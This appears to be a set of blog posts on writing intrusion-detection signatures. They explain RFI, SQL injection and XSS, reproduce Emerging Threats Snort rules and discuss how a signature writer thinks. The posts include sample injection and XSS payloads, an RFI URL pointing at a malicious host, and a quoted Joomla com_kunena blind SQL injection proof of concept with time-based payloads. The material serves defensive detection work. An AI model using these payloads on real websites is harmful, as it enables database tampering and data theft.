Remote File Inclusion (RFI) is a type of vulnerability most often found on websites, it allows an attacker to include a remote file usually through a script on the web server. The vulnerability occurs due to the use of user supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:

• Code execution on the web server
• Code execution on the client-side such as Javascript which can lead to other attacks such as cross site scripting (XSS).
• Denial of Service (DoS)
• Data Theft/Manipulation

The above description is describing about XSS as a file inclusion because it is possible to push a file through XSS, although we would look into it later. Here we are looking at file inclusion over a variable in a file that does not have limits defined properly. Here is an example of PHP File Inclusion:

In the above example,

• Vulnerable File Frame : /file_frame.php?
• Vulnerable Variable : variable=
• Possible attacking script : http://www.malwareinc.com/malicious.php
• Other variables : f  and  s [they do not play any role in this exploit attempt]

Hence, what is happening is that the attacker is trying to push the file malicious.php which resides in malwareinc.com into your website’s file_frame.php file where the variable “variable” does not check its input bounds. Primarily, file inclusions occur since the user inputs does not get evaluated or processed, to filter out the bad ones when necessary.

SQL Injection

Definition SQL Injection from the Wikipedia:

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.^[1]

SQL injection is basically attacking the database layer, although it still has to go through the public files and the vulnerabilities in it. Which means that SQL injection is not targeting the vulnerability in the database itself, but the implementation of the file that attempts in connecting to the backend. Let us look at an example that would help us understand this more clearly:

In the above example,

• Vulnerable File Frame : /file_frame.php?
• Vulnerable Variable : variable=
• Possible attacking script : ‘ OR 1=1;#
  
• Other variables : f  and  s [they do not play any role in this exploit attempt]

In this example, the attacker knows [or finds out] that “variable=” parameter directly fills in the a value into a SQL query, as shown in the following example:

If the user input is pasted in the above query inside the PHP file, without parsing or sanitizing user input, then the query would change into the following input as shown below:

The modification inserts the value 1 into var1 and then tells the query OR 1=1, which means OR “TRUE”. Anything OR’ed with TRUE is always a TRUE,

• TRUE OR  TRUE = TRUE
• FALSE OR TRUE = TRUE

Since 1=1 is always going to be true, semi-colon “;” ends the statement and “# or –” comments out the rest of the line , “select* from table” would display all the contents of the table irrespective of the where condition. From the above example, it could be clearly seen that the SQL injection targets the vulnerability in the file frame and the variable inside the file, for passing rogue[unexpected] value into the query, that could make the query run stuff that you do not want it to run. Since the query itself is ran from the apache server it is presumably running from a higher privilege, which could give external users to:

• SELECT
• UNION SELECT
• DELETE
• ALTER TABLE
• UPDATE
• DROP
• and more SQL queries.

This is why, user input validation is the most important step in a web application. Now, let us took at the final web application exploit type that we are going to look into, in this blog post.

Cross-site Scripting [XSS]

Definition from the Wikipedia:

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which enable malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites were roughly 80% of all security vulnerabilities documented by Symantec as of 2007.^[1] Their impact may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site, and the nature of any security mitigations implemented by the site’s owner.

There are several types of XSS and there are many-many subcategories too. There is a really good site that describes this in a very huge list by Rsnake: ha.ckers.org. There was XSSDB from GNU citizen that has not been working for long time. Let us look into a simple example:

In the above example,

• Vulnerable File Frame : /file_frame.php?
• Vulnerable Variable : variable=
• Possible attacking script : <script>alert(‘XSS’)</script>

If the above exploit works, the users clicking on the above link would have a alert box opened up displaying XSS. Thereby, the attacker could take the user to the site he would like the user to download the malicious code from, or run malicious stuff on the user’s system even without redirecting to malicious site. There are several kinds of XSS, and one of the largest XSS web portal is XSSED. About XSSED:

The XSSed project was created in early February 2007 by Kevin Fernandez and DP. It  provides information on all things related to cross-site scripting vulnerabilities and is the largest online archive of XSS vulnerable websites.

We started this project with the scope of increasing security and privacy on the web. Professional and amateur webmasters and web developers are notified about any cross-site scripting vulnerability affecting their online properties. The importance of securing their web applications is emphasized through the informational and educational content which we provide.

What we do is to simply validate all the submitted XSS vulnerable websites and then publish them on the archive. We actively assist all website owners to remediate the cross-site scripting issues by bringing them up to their attention on a timely manner. You will be helped by us for any problems you may face when trying to correct the XSS flaws. Please contact us.

Now that we have looked into the 3 types of web application exploits, let us look deep into the commonality in them:

• User input is not parsed
• Variable not sanitized
• Boundaries not fixed
• The entire file gets vulnerable
• Attackers gain web server privilege

There are also PHP parameters in the php.ini file which need to be checked for register_globals, filesize and other parameters. But we wont look into that in this article, since this is more of the signature writing document and not a complete web application security document. Although, for further reading, refer to OWASP for their work related to this. They have done a great deal of work in application security domain.

Hence, the common parameters in the all the above attacks are:

• File Frame
• Variable
• Attack Vector

Hence, this is what we would be considering for generating the signature. Let us look at putting the above parameters into a sample template that could generate and compare the signature with existing ET signatures [although I am not going into the implementation part, since it would be part of the Sign Analytics Project]:

Wouldn’t it be cool to have semi-automated signature generation engine that could aid you in generating signatures and testing them. Well, the answer is Yes! That is why, we are in the process of making one for you, but we need time or more volunteers to complete it, a.k.a. “to make it happen”. Let us continue looking into web application exploit signatures that are in ET to protect the users from such attacks:

SQL Injection

#by tinytwitty

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS 2z Project SQL Injection Attempt — rating.php rating SELECT”; flow:established,to_server; uricontent:”/includes/rating.php?“; nocase; uricontent:”rating=“; nocase; uricontent:”SELECT“; nocase; pcre:”/.+SELECT.+FROM/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-2898; reference:url,www.securityfocus.com/archive/1/archive/1/469351/100/0/threaded; reference:url,doc.emergingthreats.net/2004059; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2z_project; sid:2004059; rev:7;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS 2z Project SQL Injection Attempt — rating.php rating UNION SELECT”; flow:established,to_server; uricontent:”/includes/rating.php?“; nocase; uricontent:”rating=“; nocase; uricontent:”UNION“; nocase; pcre:”/.+UNION\s+SELECT/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-2898; reference:url,www.securityfocus.com/archive/1/archive/1/469351/100/0/threaded; reference:url,doc.emergingthreats.net/2004060; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2z_project; sid:2004060; rev:7;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS 2z Project SQL Injection Attempt — rating.php rating INSERT”; flow:established,to_server; uricontent:”/includes/rating.php?“; nocase; uricontent:”rating=“; nocase; uricontent:”INSERT“; nocase; pcre:”/.+INSERT.+INTO/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-2898; reference:url,www.securityfocus.com/archive/1/archive/1/469351/100/0/threaded; reference:url,doc.emergingthreats.net/2004061; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2z_project; sid:2004061; rev:7;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS 2z Project SQL Injection Attempt — rating.php rating DELETE”; flow:established,to_server; uricontent:”/includes/rating.php?“; nocase; uricontent:”rating=“; nocase; uricontent:”DELETE“; nocase; pcre:”/.+DELETE.+FROM/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-2898; reference:url,www.securityfocus.com/archive/1/archive/1/469351/100/0/threaded; reference:url,doc.emergingthreats.net/2004062; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2z_project; sid:2004062; rev:7;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS 2z Project SQL Injection Attempt — rating.php rating ASCII”; flow:established,to_server; uricontent:”/includes/rating.php?“; nocase; uricontent:”rating=“; nocase; uricontent:”SELECT“; nocase; pcre:”/.+ASCII\(.+SELECT/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-2898; reference:url,www.securityfocus.com/archive/1/archive/1/469351/100/0/threaded; reference:url,doc.emergingthreats.net/2004063; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2z_project; sid:2004063; rev:7;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS 2z Project SQL Injection Attempt — rating.php rating UPDATE”; flow:established,to_server; uricontent:”/includes/rating.php?“; nocase; uricontent:”rating=“; nocase; uricontent:”UPDATE“; nocase; pcre:”/.+UPDATE.+SET/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-2898; reference:url,www.securityfocus.com/archive/1/archive/1/469351/100/0/threaded; reference:url,doc.emergingthreats.net/2004064; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2z_project; sid:2004064; rev:7;)

From all the above, the stuff in BOLD text explains what we looked at in the above discussion: File frame, variable and attack vector.

XSS Signature

#by tinytwitty

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SERVER Adobe RoboHelp XSS Attempt whstart.js”; flow:established,to_server; uricontent:”/whstart.js?“; nocase; pcre:”/<?(java|vb)?script>?.*<.+\/script>?/Ui”; classtype:web-application-attack; reference:cve,CVE-2007-1280; reference:url,www.securityfocus.com/archive/1/archive/1/468360/100/0/threaded; reference:url,doc.emergingthreats.net/2003897; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SERVER/WEB_Adobe; sid:2003897; rev:6;)

PHP Inclusion

#by stillsecure

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”ET WEB_SPECIFIC_APPS Flatchat pmscript.php with Parameter Local File Inclusion”; flow:to_server,established; content:”GET “; depth:4; uricontent:”/pmscript.php?“; nocase; uricontent:”with=“; nocase; content:”../”; classtype:web-application-attack; reference:url,milw0rm.com/exploits/8549; reference:bugtraq,34734; reference:url,doc.emergingthreats.net/2009745; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_Flatchat; sid:2009745; rev:3;)

From all the above examples, it is understandable that the above signatures can be semi-automated in the template we showed above. I hope that you get a clear picture of the commonalities and functionality of web application attacks and writing signatures to protect yourself from it. Thank you for choosing signature analytics!

In the previous blog [The Tao of Signature Writing – Part 1] we saw the generic principles of signature writing. In this blog, we would get deep into the mindset of a signature writer. Mindset of a signature writer is very unique and not many websites/portals, blogs, etc. discuss about it. The reason for discussing the mindset of a signature writer is because, signature analysts:

• should understand the limitations of signatures.
• should go beyond what is required, to generate a good signature.
• should test signature across many, many samples to ensure accuracy.
• should not concentrate on one situation alone, when writing the signature.
• should look at a global/overall perspective of the purpose.

Signature writing is an art, that not only requires knowledge of researching on payloads, exploits, etc. from which a pattern is derived, but other things such as determining the focus of the pattern, ensuring that the signature is not written on a pattern that is not commonly seen in good and bad packets. This means that the signature writer should put all the pieces of this bigger puzzle together, when looking through a microscope to resolve the particular problem that could be very tiny, compared to the bigger picture behind it. So how does a mindset of signature writer change a signature?

The mindset of a signature should be a combination of everything possible:

• It should be broad enough to understand all possible consequences [false-positives].
• It should be narrow enough to resolve the situation, the purpose of the signature itself [true-positive].
• It should not be too narrow to miss the attack [false-negative].

The above 3 are not single case & point situations where it is easy to just point at something and say that “okay! its done…”. It is beyond that. This means that the signature writer should understand:

• Where is this signature going to be uploaded [the device]?
• Where in the network is this device placed [device positioning]?
• What kind of traffic can be seen from this location [dirty-side or inside or DMZ]?
• What is the direction of this estimated traffic [inbound, outbound or internal]?
• What kind of softwares or systems does the attack target [attack vectors]?
• What are the current PoC’s and how could it be varied [morphing the exploit - polymorphic, metamorphic, fragmentation, chunking, etc.]?
• What is the scope of this signature on an overall?

This is a very tiny list of things that are implanted in a signature writer’s based on the experience. That too, this is only related to generating a signature. Once a signature is generated, it is made more efficient. How should the writer’s mindset be, when increasing the signature’s efficiency?

Apart from having all of the above in the mindset, the signature writer:

• should ensure that the signature is as crisp as possible.
• should cover the integral part of the attack [heart of the attack].
• should be really efficient [should not overload with unnecessary PCRE checks, essential ones alone is good to have]

Does this means that the mindset is good if it only has the above qualities and necessities listed? No! There is a lot more to it. Signature writing is not a single step process where the writer determines the pattern, writes the signature and forgets about it. The signature writer should have a very open mindset to test and redo the signature in a cyclic pattern, and mostly in specific intervals of time. That is, no signature can be completely accurate. When the bad guys change their type of attacks, the signatures has to be changed accordingly to protect from the current attacks once again. Most of the current devices out there has many limitations such as, space, processing power, etc. Some of these limitations also include number of signatures loaded into the device to reduce or maintain the space and the processing power to optimal conditions.

Does this mean that the signature writer has very limited choices of generating signatures? No! This means that the signature writer should always keep in mind that with the limited space, processing power and time provided, he needs to consider every single aspect listed above as well as other things pertaining to the local network in which the device is placed, the users in the network, the company policy and how strong are they in implementing it, authorized and unauthorized applications running in the network and so on, before he can test, run and re-run the signatures by optimizing to its corresponding environment.

This means that the signatures would be changed from time to time, and this means that the signature writer:

• should change/upgrade signatures.
• should add new signatures.
• should remove unwanted signatures.

The reason for stating the above steps is because, the writer has to remember that the previous time when he might have created a particular signature could be years or at least months ahead of this current update. It is hard to remember all the signatures that have been written by a signature writer. Hence, the mindset of the writer should always:

• remember to document every step involved in the process of generating this signature.
• remember to document reason for the signature.
• remember to document all the research involved in the above process.

Documentation is something that is most important step in information security. It is equally important in here too, as listed above. Although, we talked about testing the signatures, we did not document the mindset of the signature writer in the testing the signatures:

• based on the above documentation the test cases should be drafted.
• should be conducted within the boundaries of the attack.
• should be involving practicality of situation.

Test results should be documented periodically. This results should include the test cases[scenario], the conditions applied, limitations involved and the overall results. Reason for modification of the signature or keeping the signature as is, should also be documented to ensure that there is a way to trace back to the same point if the signature fails in the next set of tests or in the near future.

This article discusses very minimal percentage of the requirements of a signature writer’s mindset. Imagine, how complex it could be to understand the true art of signature writing and the complexities involved in the overall process itself. We hope that you enjoyed our blog! If you have any questions or comments on this blog, kindly do respond to us at contact.fingers @ gmail.com.

NOTE: At some places in this blog, the words might indicate repetitive nature of the steps involved in the overall process. But it is not really repetitive. It would just seem that way, since the overall process is tangled around the central core: The mindset of a signature writer.

Thank you for choosing our blog!

Signature generation, analysis and testing is a complex art, that requires many parameters to be coordinated. “Tao” is “the ultimate principle of the universe”, and in here it means that signature writing requires an analyst to understand the principles in the signature universe. Since each signature format has its own structural design and components to perform pattern matching of the exploit or malicious software/code from entering into the network, one has to know the entire signature universe on the whole and how it interacts with the other universe. This might look like a multiverse theory, as seen in science fiction movies. Multiverse is also defined in Parallel universe:

“Parallel universe or alternative reality is a self-contained separate reality coexisting with one’s own. A specific group of parallel universes is called a multiverse, although this term can also be used to describe the possible parallel universes that constitute physical reality.”

We are not trying to mix up facts with fiction, but we want to help your learning curve go steep by keeping it interesting. Emerging Threats has classified its signature set, by splitting it into several domains. But most of these domains might be inter-related as they are within the same universe. We are not going to discuss about Emerging Threats Rulebase in this article, but we are going to look into the mindset that is required for becoming a signature writer in general. We are not trying to say that you could become a signature writer if and only if you have this mindset, but we are only trying to say that having this mindset could add an extra advantage towards steepening your learning curve.

If you would like to write signatures and if you believe that you are a layman in the SigUniverse, you might want to learn more about the focus of the results produced. Result is going to be a signature that when enabled performs one of the following checks:

• Anomaly-based
• Decoy-based
• Malware-based
• Exploit-based
• Policy-based
• and more signature triggers…

Trigger here, means that the signature is triggered when one of the above was observed. That is, if a traffic that is being monitored is something that is not according to the RFC based desciption of the protocol, then it is deviating from norm. At this point of time, it would generate an anomaly signature to trigger. Hence, one should always set a boundary or rather construct a perimeter from which they are deriving their input from. That is, you must be focused on the purpose of the signature, the data-set that you are going to use to analyze and generate the signature from, the data-set that you are going to test the signature against and other parameters or components that could help you in the process.

The first rule of thumb – KISS – Keep It Simple [Stupid]. If you do not keep it simple or if you keep it very simple, either way you would become a stupid. What we are trying to say here is, if you keep it TOO Simple then you would have many false-positive hits and if you complicate the signature to look only for a very specific thing, while the attack is also possible through many other vectors then the result would be false-negative in nature. Hence, while keeping it simple one might also want to remember that Simple does not mean that it should be small in number/quantity or easy to generate, and also that good signature does not mean that the signature has to look complex or should be so complicated to even create it. It is more of an equilibrium that we are trying to settle in for, as shown in the following image:





NOTE: This is not a real/true research output of the triggered signatures of any particular device. This is only a sample graph to help understanding the equilibrium between false-positives and false-negatives. In reality, there aren’t any specific equilibrium cases that would come as a straight line as shown above. It would be more of a regional value as shown below:





One must understand that there is no single perfect signature that can be the only solution to any given problem. There are several possibilities of arriving at a signature that is somewhere close to the end-results that you would like to obtain. But to arrive at close enough results, you should make sure that the problem set you have taken has mapped the TRUE source of the problem/issue. Let us look into this with 2 scenarios and analyze your steps.

Scenario 1.

You are a security analyst for an enterprise. Your enterprise uses Joomla for its main corporate website. You found that there is a most recent vulnerability in  Joomla. How would your proceed?

Review of the Scenario:

In this scenario, you are provided with the focus “Joomla”.  The following image shows the way you would be looking at the attack vectors:





Once you know the attack vectors, you would start looking for couple of ways to determine the next step. If you are vulnerability specialist and a reverse engineer, you would try reversing Joomla and finding out the list of vulnerabilities in it. Automated tools could give you results only to some extent, manual analysis is time consuming too. Hence, in this scenario if you are the only analyst for your company and if you are not a reverse engineer, then you would start looking out for resources that could give you a better picture of what could be the real focus on. If you came across the Exploit-DB portal from Offensive-Security group, you would notice the most recent posting [under Web exploits section] of the Joomla Component com_kunena Blind SQL Injection Vulnerability, you would wonder if you are vulnerable to that. You might want to understand the exploit vector and how the attack happens, check for privileges that are required for this to be performed, check for patches, etc. but before all that, you might want to write a simple signature for all packets that comes through the end-point device.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_kunena) BLIND SQL Injection Vulnerability
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var do is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.5.9 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86&
func=announcement&do=[SQL]

[~]>> {RETURN TRUE::RETURN FALSE} ---> VIEW TIME RESPONSE ||| HIGH: TRUE
||| LOW: FALSE

[~]>> http://server/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86
&func=announcement&do=show', link='0wn3d', task='0wn3d' WHERE userid=62 AND
1=if(substring(@@version,1,1)=5,benchmark(999999,md5(@@version)),1)/*

[~]>> http://server/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86&
func=announcement&do=show', link='0wn3d', task='0wn3d' WHERE userid=62 AND
1=if(substring(@@version,1,1)=4,benchmark(999999,md5(@@version)),1)/*

[~]>> Note: There are more affected vars.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Now that you have the exploit  in your hand, you could think of a pretty simple signature with the above data. With the above data, if you write a signature with just “/index.php?” as the file-frame, you would have a hit for every single access to every directory on the web-site since index.php is very common. Hence, keeping it that simple here is not a good idea, although you do not want to do an exact match of the above given example either, say “http://server/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86&func=announcement&do=show’, link=’0wn3d’, task=’0wn3d’ WHERE userid=62 AND 1=if(substring(@@version,1,1)=4,benchmark(999999,md5(@@version)),1)/*”, because that would lead to false-negatives for sure. This is where, you would start thinking about the equilibrium.

Scenario 2.

In this scenario, you do not know the tools that are used in your corporation. You don’t know what servers are running in the DMZ , what are the various custom applications in each of them and so on. In this case, how would you focus?

In such case, you would not know what you are protecting and what you are fighting against. Something like what you see below:





NOTE: This cannot be entirely true. Although what we are trying to suggest is that, it is possible for someone to not know every possible application running on a server. In such a case, you might not know if you would have already protected it with a signature that was enabled for something else, or if you had left the loop hole open. In either way, you are pretty much doing something without having a clear focus on what is happening. This could lead to bad end-results.

In this blog, we were aiming to help you with the fact that “focus” is the most important factor of researching data to find the subset, from which you would generate a signature to protect your network. We would continue the series by talking more about the different types of signatures and how could you generate the subset of data that is most accurate in generating those signatures.

Thank you for choosing our blog! We hope that this was helpful…

Welcome to the portal, to the world of signature analysis! This is just the pathway to the all new world, that is about to be revealed very soon. Blogging the Science of signature analysis is something that we do not find everywhere. It is easy to do something, but is quite hard to state the pathway to achieve something one step at a time. To make this easy for you, we have created this blog to ensure that we analyze and share all our views, steps taken and other stuff in creating a portal solely dedicated for signature analysis.

In Signature Analytics, we would be looking at various frameworks that help you create, test and deploy live signatures to couple of different formats. To start with, we are going for Emerging Threats format. Why? Because they are our best friends. Our mission is to do anything and everything, that makes your life easy when you enter our world [Dude! Of course it is the Signature Analysis world]. If you have any questions or something to talk about, contact us at contact.fingers[at] gmail.com.

About us:

Analyzing signatures is a complex task that involves reviewing the source to obtain a pattern, generating a pattern-matching signature, testing for false-positives, false-negatives and true-positives, and finally performing real-time analysis. Signature Analytics was started with the intent of proving an interface to the signature world, with tools and techniques that could help a layman to generate good signatures. This blog would draft the steps we are taking to create the Signature analytics portal, the process of creating the framework, things that we kept in mind while creating stuff, etc. This is more like a idea sharing portal for signature analytics.

Kevin Ross [Architect], Nagareshwar [Special Ops], Anushree Reddy [Dev] and few in the pipeline are the responsible for creating this art of signature analysis. If you wish to contribute or just say something, shoot an email to contact.fingers {at} gmail.com. This is yet another EvilFingers portal. The aim of our group is to help everyone understand the importance of security and to bring it into practice in our day-to-day life.

Thank you for choosing our blog!